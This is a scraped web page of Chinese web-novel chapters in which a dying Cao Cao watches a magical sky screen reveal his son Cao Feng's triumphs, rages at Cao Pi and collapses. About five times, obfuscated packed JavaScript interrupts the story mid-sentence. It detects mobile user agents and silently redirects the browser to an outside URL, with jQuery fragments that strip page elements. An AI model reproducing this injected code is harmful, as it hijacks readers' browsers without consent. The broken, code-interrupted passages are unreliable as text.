【但李儒提供的这药方霸道无比,副作用极其骇人。】 即便侥幸醒过来,郭嘉极大概率也会心智尽失,成为一个空有躯壳的痴愚之人。】 【而最好的结果,手脚也得落下毛病。】 华佗和李儒心里都清楚郭嘉在曹风心中的分量,更明白他对曹风未来大业的重要性。是否要用这个危险的方子,两人不敢擅自决定。最终,他们把选择权交给了刚刚归来的曹风。 【曹风沉默地走到床榻前,凝视着郭嘉那张苍白如纸、毫无生气的脸。】 【曾经那双洞悉世事、闪烁着睿智光芒的眼眸,此刻被沉重的眼帘覆盖。】 【曹风伸出手指,探了探郭嘉微弱的鼻息,又轻轻搭上那冰凉的手腕。】 脉搏还在跳动,却细若游丝,仿佛随时都会消失。 【曹风深吸一口气,声音低沉道:“救!不必犹豫,就按这法子来!权当是死马当作活马医吧!总比看着他生机断绝要好!”】 【华佗闻言,沉重地叹息一声,那叹息中饱含着医者的无奈和对生命的敬畏。】 【“唉……公子既已决断,老朽自当尽力施为。”】 【“只是……人力有时尽,天命最难测。”】 【“此番施救,后果难料,便只能……听天由命了。”他欲言又止,似乎还有什么隐忧没有说。】 【曹风敏锐地捕捉到了华佗的迟疑,追问道:“不过什么?但说无妨。”】 【华佗目光复杂地看了看郭嘉,又看了看曹风,最终还是摇了摇头,将嘴边的话咽了回去。】 【作为医者,他实在不忍心看着郭嘉就这样死去。可要救醒郭嘉需要付出的代价实在太大。】 然而,一旁的李儒却没有这份顾虑。 【他声音不带丝毫温度:“公子,华先生心善,有些话不便明言,那便由在下来说。”】 【“其一,此药凶险异常,即便成功,郭奉孝醒来后,十有**会神智混沌,沦为痴傻废人,再不复昔日鬼才风采。这一点,华先生已经说过了。”】 【“其二,这昏迷之期,遥遥无期,究竟何时能醒?一月?一年?十年?亦或是……永远沉睡?无人能断!其三,也是最为紧要的,”】 【李儒的目光变得锐利起来,直视曹风,“要维持他这昏迷状态不死,吊住这一口生气,每日所需皆是世间罕见的名贵药材这绝非一笔小数目。”】 【“而且需要持续投入,将是庞大开销!足以耗尽寻府库!”】 【“救!”曹风的回答没有丝毫犹豫。他的目光依旧牢牢锁在郭嘉身上,语气中透着一股不容置疑的决绝。】 李儒清楚曹风现在的势力还不够强大,更明白这笔开支意味着什么。他担心曹风被感情冲昏了头,没能真正权衡轻重,不由得提高声调再次劝道: 【“公子,请三思!恕我直言,维持郭奉孝昏迷状态的开销,足够组建两支满编八百人的''陷阵营''!”】 【“我明白公子产业众多,财力雄厚。但这样无休止地投入下去,再厚的家底也迟早要被掏空!”】 【“如果继续把大部分资源都投在这里,军队发展、装备更新、地盘扩张都会停滞不前!这代价实在太大了!”】 【“我说救!”曹风的声音陡然拔高,带着不容抗拒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15930359|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 威严。】 【曹风将目光从郭嘉身上移开,转向李儒:“救治郭嘉所需的一切开销,我自有办法筹措!你等只需全力施救,确保他性命无虞!”】 【说罢,曹风不再多言,猛地转身,大步流星地离开了房间。】 【李儒站在原地,望着曹风那决绝的背影消失在门外,再次无奈地摇了摇头。】 他转身回到床边,看着榻上依旧昏迷不醒、对外界风暴一无所知的郭嘉,眼神复杂难明。】 【他俯下身,用只有自己才能听到的声音,对着那沉睡之人低语道:“郭奉孝啊郭奉孝,你的命……当真是好得令人嫉妒。”】 【“竟能遇到公子这般重情重义的人。不惜代价、不计后果的维护……唉,便是李某,心中也难免生出几分羡慕之意。”】 【李儒顿了顿,声音更低沉了几分,带着一丝看透了世情的冰冷。】 【“换作这天下任何一路诸侯,若你落到如此境地,他们只会立刻将你视作无用的累赘。他们绝不会尽家财去救一个不知能否醒来、醒来也是废人的谋士了。”】 【“不过……”李儒面具下的嘴角微微扬起,“如果三年后你还不醒,我就再放一把火。”他的声音忽然变得决绝,“让我用生命中最后一把火,送你我一程。谁都不能阻挡公子的大业!”】 【曹风回到书房,没有丝毫耽搁。他立刻亲自提笔,向远在塞外统兵征战的各位心腹将领发出了命令。】 【信中指令异常明确:即刻调整战略重心,优先扫荡那些富庶的部落! 目标只有一个——劫掠金银财宝! 同时,不惜一切代价,搜寻和抢夺名单上那些用于救治郭嘉的珍稀药材!】 【曹风的目光冷冷地扫过地图,最后精准地锁定在汉中张鲁和荆州刘表的位置上。】 这两位诸侯—— 前者盘踞汉中多年,靠着五斗米道政教合一,积攒了惊人财富;后者占据荆州富庶之地,多年经营下来,家底必然丰厚得难以想象。 在曹风眼里,他们简直就是现成的“钱袋子”和“药库”。 至此,所有关于官渡之战的关联画面,在天幕之上消失。 第201章 曹家狼人杀:曹操最后才发现,原来曹丕是狼 邺城魏王府,天幕之下。 曹操的目光死死追随着天幕上闪过的每一幕画面,脸上的神情时而阴沉,时而惊怒交加,时而悔恨交加。 曹操目睹曹风、张绣与贾诩三人立于山巅,谈论着宛城之战中曹昂之死和张绣**的事情,顿时怒火中烧! 他终于明白过来——自己一直信任的好儿子曹丕,为了掩盖宛城害死兄长曹昂的罪行,竟暗中对张绣下毒灭口!更让他心寒的是,曹丕甚至敢当着自己的面动手,连他这个父亲也被一并算计! 曹操又想起之前天幕中出现的画面——曹风特意叮嘱曹冲多带驱蛇药,小心爱玩蛇的曹丕。 此刻,曹操眼中的杀意再也压制不住,咬牙怒喝:“逆子!心机如此之深,手段这般狠毒!” 曹操脸色瞬间变得铁青,额头上青筋暴跳,“可惜你这心机手段用错了地方!不用在匡扶大业、对付外敌上,却用来残害忠良、谋害兄弟!当真是……该死!” 盛怒之下,曹操厉声喝令侍立一旁的亲卫:“去!即刻将大牢里的那个逆子曹丕,给孤提出来!” 曹操眼中寒光闪烁,杀机凛然。 是该到了彻底清算这笔血债的时候了。 紧接着,天幕上又显现出关羽在万军之前,向曹操推荐“曹脩”出战、斩杀颜良的画面。 曹操望着这熟悉的一幕,心中苦笑。 当年确是自己一时疏忽大意,未曾向关羽仔细问清楚他所举荐的“曹脩”究竟是何许人也,结果阴差阳错,险些让曹休命丧颜良刀下! 这桩乌龙,不仅让曹休在鬼门关前走了一遭,更在其心中留下了难以磨灭的恐惧阴影。 以至于如今两军对垒,每逢阵前斗将,曹休都下意识地退缩躲避,唯恐曹操再次点他出战颜良这般的绝世猛将。 一颗原本可以成长为军中栋梁的将星,竟因自己当年的一个失误而就此蒙尘,近乎“废”了。 不知是否被接二连三的打击气昏了头,曹操此刻竟有些不讲道理地将这笔旧账,也一股脑地算在了曹风头上! 曹操心中忿忿地想:若非曹风当年化名“曹脩”,偷偷跑去跟关羽学艺,混淆了视听,自己又怎会闹出这等张冠李戴的大笑话?害得曹休心志受挫?都是这逆子惹的祸端! 思绪至此,曹操又不可避免地想起了自己昏迷之前,在战场上亲眼所见的景象—— 曹风! 他那个被自己放逐、轻视的儿子,竟然能与天下无双的飞将吕布正面对撼,激斗良久而不落下风! 甚至在某些瞬间,曹风那凌厉无匹的攻势,竟隐隐将吕布都压制住了几分! 那一幕带来的震撼,至今仍在他脑海中回荡,挥之不去。 “唉……”一声沉重的叹息,从曹操喉中艰难地挤出。 直到此时此刻,曹操知道自己的生命即将走到尽头的时候,在这天幕无情地揭开所有伤疤之后,他才真正愿意、也终于不得不承认一个他逃避了许久的事实: 在自己众多的儿子之中,除了那早逝的、最令他痛惜的长子曹昂以外,曹风,的的确确是最为优秀、最为耀眼的那一个! 无论是武艺、胆魄、心机、手段,乃至重情重义的担当,都远超其他兄弟。 他曹操,一生宁折不弯,几乎从未向任何人低过头,更别说让他认错。 但此刻,即将走到生命终点的曹操,这才真正的意识到: 对待自己的三儿子曹风,自己错了! 大错特错!错得离谱! 那份因轻视与偏见给曹风带来的伤害,最终将父子推向了不死不休的绝境。 原本,曹操心中还存着一份倔强,一份不甘,想要通过一场倾尽全力的决战来挽回颜面,来证明自己当初的决定并非错误,证明曹风终究是那个不堪造就的“逆子”。 然而,不久前那场决定性的决战,给了他最残酷也最彻底的答案。 他败了! 败得一塌糊涂,败得军心离散,败得再无回天之力。 这一败,彻底砸碎了他心中最后一丝侥幸。 他终于无比清醒地意识到:自己,再无任何机会重整旗鼓,去击垮那个已经如日中天的儿子了。 身体的极度虚弱与脑袋剧痛,时刻提醒着他:大限将至!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934316|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 残存的时光已不足以支撑他去做任何翻盘的尝试了。 对于曹风,曹操心中的情绪复杂到了极点。尤其是看完天幕播放的曹风高光时刻后,这种情绪更强烈了。 最初是痛失英才的懊悔与惋惜; 后来演变成被忤逆、被挑战权威的怨恨与暴怒; 而到了如今,经历了彻底的战败,面对无法挽回的定局和即将到来的死亡,那份怨恨竟奇异地消散了许多。 取而代之的是一种深深的无力感与无可奈何。 就是那种看曹风不顺眼,有拿他没有任何办法。 但人的情感总需要一个宣泄的出口。 于是,曹操将这半生的过失、晚景的凄凉、家族的悲剧,一股脑地归咎于、并准备倾泻在另一个儿子——曹丕的身上。 “都是这个真正的逆子!” 曹操在心中愤怒,“若非他在宛城为了私欲,害**我的子脩!我曹家何至于此?何至于兄弟阋墙,父子反目,落到今日众叛亲离、分崩离析的地步!” 曹操固执地相信,如果曹昂还活着,以其长兄的仁厚威望与公正之心,必定能调和父亲与曹风之间的矛盾,并将曹风牢牢地团结在家族的核心之中。 那么如今的曹家,将是何等光景? 长子曹昂继承大业,坐镇中枢; 文有曹植、曹冲这等惊才绝艳的才子运筹帷幄; 武有曹风这等横扫千军的猛将开疆拓土…… 文武相济,兄弟同心,曹氏一族必将迎来前所未有的鼎盛与辉煌! 然而,残酷的现实是,这一切都因宛城之战后化为泡影。 曹操感到一种前所未有的孤独与悲凉。 自己一生纵横捭阖,挟天子以令诸侯,灭了多少不臣之人,几乎打下了半壁江山,最终却落得如此下场。 病榻缠绵,众叛亲离,家族**,基业摇摇欲坠。 现在,他甚至连曹昂的女儿——自己的大孙女儿,都见不上一面。 原本可以安享的尊荣晚年,原本可以亲眼见证的家族鼎盛,都成了镜花水月,只剩下了遗恨与不甘! 第202章 曹操才发现,自己也是曹风的投资人 当天幕画面定格在曹风用那本珍贵的典藏版《唐诗宋词集》从袁绍那里换回谋士田丰的场景时,曹操的内心难以平息。 曹操枯坐在榻上,浑浊的目光紧盯着天幕,口中发出低沉、沙哑的叹息:“唉……果然如此。” 尽管曹操心中早有猜测,田丰的脱困与曹风脱不了干系,但亲眼目睹这交易的过程还是带给他一种难以言喻的复杂情绪。 是确认这件事情后的释然,更是对曹风手腕的感叹。曹操没想到,曹风竟能通过这种方式,就获得了一个顶级的谋士。 曹操不由得想到那个导致田丰、沮授先后被袁绍羁押的始作俑者——郭图。 曹操缓缓摇头,眼神中带着疲惫:“郭图此人……才华倒是有的,否则不可能在袁本初帐下占据一席之地。” “但他的其心术不正,热衷权柄之争,更兼贪鄙成性,见利忘义。若无几分真本事,又怎能接连设计,将田元皓、沮公与这等顶尖智谋之士构陷于死地?” “古有郭开,今有郭图。” 更让曹操感到惊叹的是,是天幕画面中,曹风对待郭图那种举重若轻、近乎戏耍般的拿捏姿态。 曹风似乎对郭图的贪婪、怯懦、虚荣了如指掌,每一次出手都精准地戳中其最脆弱的软肋。 整个过程看起来如此轻松,仿佛郭图不过是他掌中随意拨弄的提线木偶! 而且,曹风压根没把聪明的郭图当回事,他连手都懒得动,只派了个叫"魍"的手下去解决。 “可怕……真是可怕!”曹操心中暗道,“此子对人性的弱点,尤其是这等小人物的阴暗心思,其洞察之深、掌控之精,竟已到了炉火纯青、信手拈来的地步!” 作为一个在乱世中摸爬滚打、驾驭无数枭雄豪杰的君主,曹操太清楚这意味着什么了。 “能洞悉并掌控人性弱点者……必非池中之物啊。我还是小瞧了这个三儿子!” 在曹操悉心培养的众多子嗣中,即便是最让他痛惜、也最为仁厚的嫡长子曹昂,也未曾展露出曹风这般精准拿捏人性阴暗面的“天赋”。 不过,曹操随即又想到,曹昂的御人之道,走的却是另一条截然不同的路径——那是用至诚之心、宽厚仁德、身先士卒所铸就的人格魅力,足以让猛士倾心效死,让谋士甘愿追随。 两人手段,一明一暗,一阳一阴,却都……不再属于他曹孟德了。 “唉……” 一声沉重得仿佛承载了半生戎马的叹息,从曹操口中挤出。 这叹息里,有对逝去长子的无尽追思,有对眼前困局的深深无力…… 更有对曹风的复杂情绪—— 是忌惮,是恼怒,或许还有一丝难以言喻的…… 认可? 天幕的画面继续播放,瞬间将曹操拉回到那个决定河北归属的关键时刻——乌巢! 熊熊烈焰冲天而起,映红了半边夜空,袁绍赖以维系十万大军的粮草正化为滚滚浓烟与灰烬。 这本是曹操一生中最为得意、最为关键的奇袭杰作! 然而此刻,看着画面中自己在前方浴血拼杀、冒险突袭,而曹风却在后方如幽灵般神出鬼没,趁乱大肆“捡漏”,将无数散落的、未被焚毁的粮秣辎重,以及大量溃散的袁军精锐悄然收入囊中…… 曹操只觉得一股邪火猛地窜上心头,恨得他牙齿咯咯作响! “逆子!逆子啊!”曹操愤恨道,“我在前方拼死拼活,冒着全军覆没的风险,你却在后面坐享其成,捡现成的便宜!” “我这是在……这是在变相地资敌!是养虎为患!” 曹操猛然意识到,曹风后来能够迅速积聚起足以与自己抗衡的粮草和精兵,其中相当一部分的“启动资金”,竟是他曹操在乌巢这把大火中,“拱手”送给这个“逆子”的! 这简直是对他毕生智谋的最大嘲讽! 想到这里,一股强烈的无力感,瞬间取代了曹操心头怒火,只剩下疲惫与无奈。 木已成舟,时光不能倒流! 纵有万般不甘,千般悔恨,曹操也只能眼睁睁看着曾经的这一切发生,接受这苦涩的现实。 另外,曹操心里一直纳闷,曹风那小子到底是怎么用火灭火的。自己这个三儿子,打从出生起就透着邪门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944660|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。才几个月大就能开口说话,这哪是什么神童啊,根本就是怪胎。 抬眼看着这神奇的天幕,曹操的心境早已不复当初的期待与兴奋。 最初,他以为这是上天赐予他的莫大机缘,让他洞察对手,扭转乾坤。 可如今看来,这哪里是什么恩赐? 分明是高高在上的仙人对他的惩罚! 这天幕之中,虽然让曹操一点点看清了曹风隐藏至深的布局与实力,也解开了许多谜团…… 但它更像一把无形的刀子,每一次画面的切换,都精准地剜在曹操的心尖上! 将曹操过往的骄傲、自负、以及对未来的掌控感,一点点凌迟!更是加重了曹操的病情! “罢了……看吧,继续看下去吧……” 曹操心中满是苦涩,“至少……至少能让我死个明白,解开那些困惑。” “比如,沮授,这位我无比欣赏却宁死不降的河北智者,究竟是如何神不知鬼不觉地落入了曹风之手?” 天幕接下来的画面,恰好给了曹操答案。 天幕画面重现了沮授盗马逃亡,却被那匹神骏异常的白马救下的惊险一幕。 当那匹白马再次出现在画面中,驮着沮授,轻松甩开追兵,甚至一跃飞过湍急溪流时,曹操双眼骤然睁大,瞳孔深处闪过一丝恍然大悟的精光! “原来……是它!” 曹操喃喃自语,声音带着迟来的明悟、还有懊悔,“难怪我初见时便觉眼熟!黑子……” “是了,那匹通体雪白的神驹,名为‘黑子’!” 曹操终于彻底想起来了! 这匹白马,他曾不止一次瞥见过。 然而,那时的他,何曾将一丝一毫的注意力放在这个“不成器”的三儿子身上? 连曹风本人都被曹操刻意忽视、视若无睹,更何况是他身边的一匹马? 曹操对“黑子”的印象,也仅仅停留在“曹风有匹不错的白马”这种极其模糊的层面,从未在意。 现在回想起来,这完全是他自己的疏忽。要不是当初大意,事情也不会发展到今天这个不可控的地步。 第203章 迟暮中的曹操,接连破防 看着天幕画面中,“黑子”如白龙一般奔腾游走,曹操身为一个同样酷爱宝马良驹的人,心中也不由得赞叹与惋惜。 “真乃世间罕有的神骏啊!却成全了曹风!” 曹操忆起自己的宝马赤兔、爪黄飞电、绝影。 曹丕、曹彰兄弟曾多次眼**恳求赏赐,都被他断然拒绝。若非为了招揽那忠义无双的关羽,他绝不会割爱送出赤兔马。 宝马之于英雄,犹如宝剑之于侠客,是身份与力量的象征! 突然,他猛地坐直了身体,脸上写满了震惊,就连呼吸也变得急促起来! “白狼山!那员虎将!那匹白马!” 他的思绪瞬间飞回多年前远征乌桓的战场。 在决定性的白狼山之战中,曾有一员头戴鬼面、身披金甲、骑着白马的绝世虎将,如同天神下凡般出现,并与张辽并肩冲阵,其勇猛彪悍,连素来以勇武著称的张辽都自叹不如! 曹操这辈子见过的猛将不少,但唯独对白狼山这员虎将印象最深。那气势,那身手,简直就像西楚霸王转世再生! 曹操事后曾倾尽全力寻找,却如石沉大海,那虎将仿佛人间蒸发。他为此扼腕叹息多年,引为憾事! 此刻,看着天幕上“黑子”那独一无二的神骏身影,再对比记忆中白狼山下那道如闪电般撕裂敌阵的白影…… 曹操瞪大了双眼:“难道……难道我遍寻不得的那员无双虎将……竟……竟是他?!” “竟是我最不看重的三子曹风?!” 这个念头太过荒诞,太过让人惊讶,让曹操一时竟呼吸沉重! 天幕接下来的画面,这员虎将与张辽并肩浴血,斩杀蹋顿,最后更是在荒野之中,折箭为誓,立下了那气壮山河的“封狼居胥”之约! “封!狼居胥!” 那四个字,狠狠刺在曹操的心坎上。 曹操失神地、近乎无声地重复着这几个字,干裂的嘴唇微微颤动。苦涩、向往、无奈、失落…… 无数种复杂的情绪在他心中翻滚。 封狼居胥! 这何尝不是他曹孟德年少时便深埋心底,纵使位极人臣、权倾天下也未曾忘却的梦想吗? 他曾无数次幻想,待扫平宇内、天下一统之后,便亲率虎狼之师,北出塞外,勒石燕然,效仿那冠军侯的壮举,完成汉家男儿最高的武勋! 然而如今,残酷的现实摆在眼前: 莫说远征漠北、封禅狼居胥,便是这中原的乱世,他恐怕都无力亲手终结了。 更令他痛彻心扉的是,那个承载着与他同样梦想的人,那个与他的爱将张辽歃血为盟的人,正是他最强大的敌人,他的亲生儿子曹风! 而张辽的“抗命不归”,拒绝返回邺城听调,其根由,也在此刻也明了了—— 张辽早已心属那个与他在沙场上并肩作战、在理想上高度共鸣的“曹脩”! “唉,怎么又是我这个三儿子……”又是一声悠长、沉重的叹息,仿佛耗尽了曹操仅存的力气。 英雄迟暮,壮志难酬,莫过于此。 曹操试图平复心绪。 然而,天幕似乎嫌对他的刺激还不够,画面再次无情地切换,这一次,映出的身影,瞬间带走了他全部的心神。 曹操浑浊的瞳孔中爆发出前所未有的光芒,随即又被更深的痛楚所淹没——那是郭嘉! 他此生最为倚重、最为信赖的“鬼才”郭奉孝! 画面中,曹风正不惜一切代价,动用了难以想象的庞大资源——足以建立两个精锐“陷阵营”的巨额金钱! 只为抢回郭嘉的一条性命! 看着曹风那毫不犹豫、倾尽所有的决绝姿态,曹操心中反复询问自己:“若换作是我……我会如此不惜代价吗?我……会迟疑吗?” 答案,在曹操自己心中都变得模糊而摇摆。 作为雄主,他深知资源的宝贵,两个陷阵营意味着什么他比谁都清楚。 他会救郭嘉,但代价几何? 是否会如曹风般义无反顾? 他无法给出一个令自己完全信服的肯定回答。 可很快曹操就发现,自己又一次输给了三儿子曹风! 因为曹风根本没有半点犹豫! 曹操摇了摇头,此刻他终于明白了。他在官渡确实见到了郭嘉——是曹风把他救活的。 当发现郭嘉不仅活着,还在为曹风效力时,曹操 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951953|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原本坚定的信念也开始动摇了。 接踵而来的打击,让他甚至产生了自我怀疑: 曹婴:他渴望其陪伴膝下的长孙女,如今却在曹风身边,对曹风表现出的是全然的依赖与信任。这是晚年孤寂、众叛亲离的曹操,内心深处最为渴求却遥不可及的温暖! 更让他心如刀绞的是,他亲耳听到曹婴喊自己“大混蛋”!若换做旁人,他定会嗤之以鼻,暴跳如雷。 然而,这话出自他最疼爱的孙女之口,让他陷入了深深的自我怀疑与锥心的痛苦之中! 难道…… 自己真的…… 是个不折不扣的“大混蛋”? 宁教我负天下人,休教天下人负我? 老了之后的曹操才发现,原来这世上还有他始终无法辜负的人。 也许只有曹婴,才会让曹操这个奸雄开始自我怀疑。 曹冲:在爱子曹昂之后,他最寄予厚望、聪慧绝伦的幼子曹冲,竟也背弃了他,投奔了三哥曹风! 连他这个亲生父亲都不要了! 更令他难以接受的是,听说曹冲到了曹风那里,竟开始献计献策,调转枪头来对付他这个父亲!这无异是在他心口上又狠狠剜了一刀! 关羽:他费尽心机,上马金下马银,三日一小宴,五日一大宴,极尽礼遇之能事想要招揽的盖世虎将关羽。可是关羽对他始终冷若冰霜,拒人于千里之外。 可偏偏是曹风,竟能让关羽默认了他这个“徒弟”! 更讽刺的是,曹风赢得关羽好感的“妙招”,似乎只是讨好了关羽那两位寡居的嫂嫂? 自己倾尽资源的拉拢,竟不如曹风哄得妇道人家开心来得有效! 这简直是对他枭雄魅力的莫大讽刺! 郭嘉:这已无需赘言。曹操视为托付身后事的首席谋主、灵魂挚友,如今正为曹风殚精竭虑。这背叛感,让曹操很无力。 张辽:曹操自问待张辽不薄,委以重任,信任有加。可结果呢? 张辽被曹风在白狼山并肩作战的情谊和“封狼居胥”的宏愿所折服,最终选择了追随曹风而去。 所谓的“忠诚”,在共同的理想面前,似乎显得格外脆弱。 第204章 当曹洪说出真相时,曹操的血条几乎清零 程昱、徐庶、贾诩这三位谋士的表现,更是让作为老板的曹操,憋屈得五脏六腑都要炸裂! 先说程昱,这位跟随曹操多年的老臣,在曹营时虽然尽心辅佐,但自从赤壁之战之后,他总给人一种有所保留的感觉; 再看徐庶,在曹操帐下时就像个哑巴,终日不发一言,任凭曹操如何礼遇相待,他都保持着令人窒息的沉默; 最可气的当属贾诩,这个老狐狸在曹操身边时永远是一副明哲保身、深藏不露的模样,不到生死存亡的紧要关头绝不献策,仿佛多说一个字就会要了他的命似的。 可这三个人到了曹风那里呢? 简直判若两人!程昱的效力自不必多说; 那个在曹操面前装哑巴的徐庶,竟然开口说话了,而且滔滔不绝,献策不断; 最让曹操无法接受的是贾诩这个“毒士”的转变—— 在曹操麾下时惜字如金,处处表现得胆小怕事。 可到了曹风帐下,竟变得异常活跃,只要曹风随意的一个眼神示意,这老狐狸就能想出无数毒计! 更让曹操怒火中烧的是,他听闻正是贾诩给曹风出了那条阴损至极的计策—— 曹风亲自写信给孙权,声称曹操欲迎娶其母吴国太!此计直接点燃了孙权的滔**火,导致了合肥大战的爆发! 更可气的是,曹风竟然还以他的名义写下那首诗句:“东风不与周郎便,铜雀春深锁国太!” 曹操本人完全是在被蒙在鼓里的状态下,莫名其妙地背上了这个黑锅,并且曹操名声被牢牢钉在了耻辱柱上! 每每想到此处,曹操都恨得咬牙切齿:“贾文和!你这老匹夫!对付起我来,手段比对付谁都狠毒百倍!我待你难道比曹风差了?!这些年来,我赐你高官厚禄,待你如座上宾,你就是这般回报于我的吗?!” 这一桩桩、一件件的往事,如同走马灯般在曹操脑海中轮番上演。 家事?外事?人主事? 他曹操,这个曾经挟天子以令诸侯、纵横天下数十载的乱世枭雄,在人生的暮年,竟落得个众叛亲离、内外交困的境地! 而将他逼至如此绝境的,不是北方的袁绍余孽,不是江东的碧眼小儿,也不是如鱼得水的刘大耳,恰恰是他从未放在眼里、视若敝履的亲生儿子——曹风! 曹操病重的躯体,承受着这精神上持续不断的折磨。 曹操只觉得胸口一阵翻江倒海般的剧痛袭来,喉头一甜,一股浓烈的血腥味出现在口中。 他猛地用手捂住嘴,剧烈地咳嗽起来,指缝间,已然渗出了刺目的暗红…… 守在门外的典韦听见曹操剧烈的咳嗽声,连忙快步走进来。 典韦见到曹操指缝间渗出的鲜血,顿时大惊失色:“魏王!末将这就去传张仲景来!” 典韦正要转身去唤太医,却被曹操用染血的手召回。 “不用了……”曹操艰难地喘息着,“先……先带子桓来见我……” 不多时,曹丕被侍卫带了进来。 在大狱内被关押多日的曹丕,面容憔悴不堪,身形消瘦了许多,往日光鲜亮丽的锦袍如今也沾满了狱中的尘土。 曹丕往日那高傲睥睨的眼神,此刻已消失得无影无踪,取而代之的是深深的恐惧与不安。 “父王,孩儿知错了!”曹丕刚一进门,便扑通一声跪倒在地。 他额头重重磕在地上,痛哭流涕地乞求曹操的原谅,“孩儿一时糊涂,犯下了大错,求父王看在骨肉亲情的份上,饶孩儿一命!” 曹操通过天幕,已经彻底看穿了曹丕伪善面具下的真面目。此刻的他,心如铁石,再不会为曹丕的可怜相所动容。 “当年在官渡……”曹操的声音低沉得可怕,每个字都像是从牙缝里挤出来的,“你给张绣下了毒?” 曹丕本能地想要狡辩抵赖,可当他抬头看见那定格着罪证的天幕时,顿时如泄了气的皮球般瘫软下来。 他的嘴唇剧烈颤抖着:“父王,孩儿当年是因为……” “我问的是——”曹操突然暴怒,抓起案几上的砚台狠狠砸在地上,“你有没有给张绣下毒!” “是**的!”曹丕被吓得一个激灵,脱口而出。 随即又急忙辩解道,“但孩儿是为了给大哥报仇!张绣害**大哥,我……” “住口!” 曹操怒不可遏地指着曹丕,“你这个贪生怕死的逆子!还敢在我面前搬弄是非!你大哥分明是被你害死的!你这就下去,给子脩赔罪去吧!” “父王!饶了儿臣吧!”曹丕彻底瘫软在地,像一滩烂泥般瑟瑟发抖。 他从曹操的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951954|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神中读出了前所未有的杀意,知道父亲对自己的杀心已经达到了顶点。 生死关头,曹丕眼中突然闪过一丝狠毒的光芒,心中暗道。 “曹孟德,你对我如此绝情,就休要怪我了!'' 曹丕猛地抬头,做着最后的挣扎。 他歇斯底里地喊道:“父王!曹植已经被曹风抓走了!我若**,没人能继承你的王位!曹家就彻底完了!” 曹丕在被带出大牢之前,收到了司马懿的密信。信里详细写明了该如何应对曹操的盘问。司马懿心里清楚,他和曹丕已经是一条船上的人了。如果曹丕**,他也必死无疑。 曹操闻言心中大惊,但多年征战养成的城府让他表面上丝毫不露声色。 他缓缓抬手示意侍卫暂停行刑,目光如刀般盯着曹丕:“曹植被曹风抓走的消息,是谁告诉你的?” 曹丕毫不犹豫地将司马懿出卖:“不敢瞒父王,是仲达告诉我的!他……他还说曹仁叔父和夏侯惇叔父也都……” 曹操的眼神变得更加阴鸷,他沉默了片刻,突然挥手吩咐典韦。 “先将曹丕暂时关押起来吧。你亲自看着他。不许任何人靠近!另外,立刻让子廉来见我!” 不多时,曹洪战战兢兢地重新来到曹操面前。 曹**死盯着曹洪,声音嘶哑地问道:“子廉,你和我说实话!” “我听司马懿说,他在战场上见到曹植被曹风抓走了,此事当真?” 曹洪看着曹操蜡黄的面色和嘴角残留的血迹,犹豫再三,最后长叹一声。 “末将……末将是担心魏王得知这个消息后病情加重,所以才……” “曹仁和夏侯惇呢?”曹操突然打断曹洪,“他们现如今到底在何处?!” 见曹洪支支吾吾不敢应答,曹操勃然大怒,快说!你给我说实话!” 曹洪被吓得面如土色,低着头不敢与曹操对视,声音细如蚊蚋:“也……也被曹风抓走了……” “什么!?”曹操如遭雷击,双眼圆睁,一口鲜血再也压制不住,喷涌而出! 他整个人向后栽倒,再次昏死过去。 殿内顿时乱作一团,曹洪一个箭步上前,同时厉声喝道。 “快传太医!快!” “快找张仲景来!” 第205章 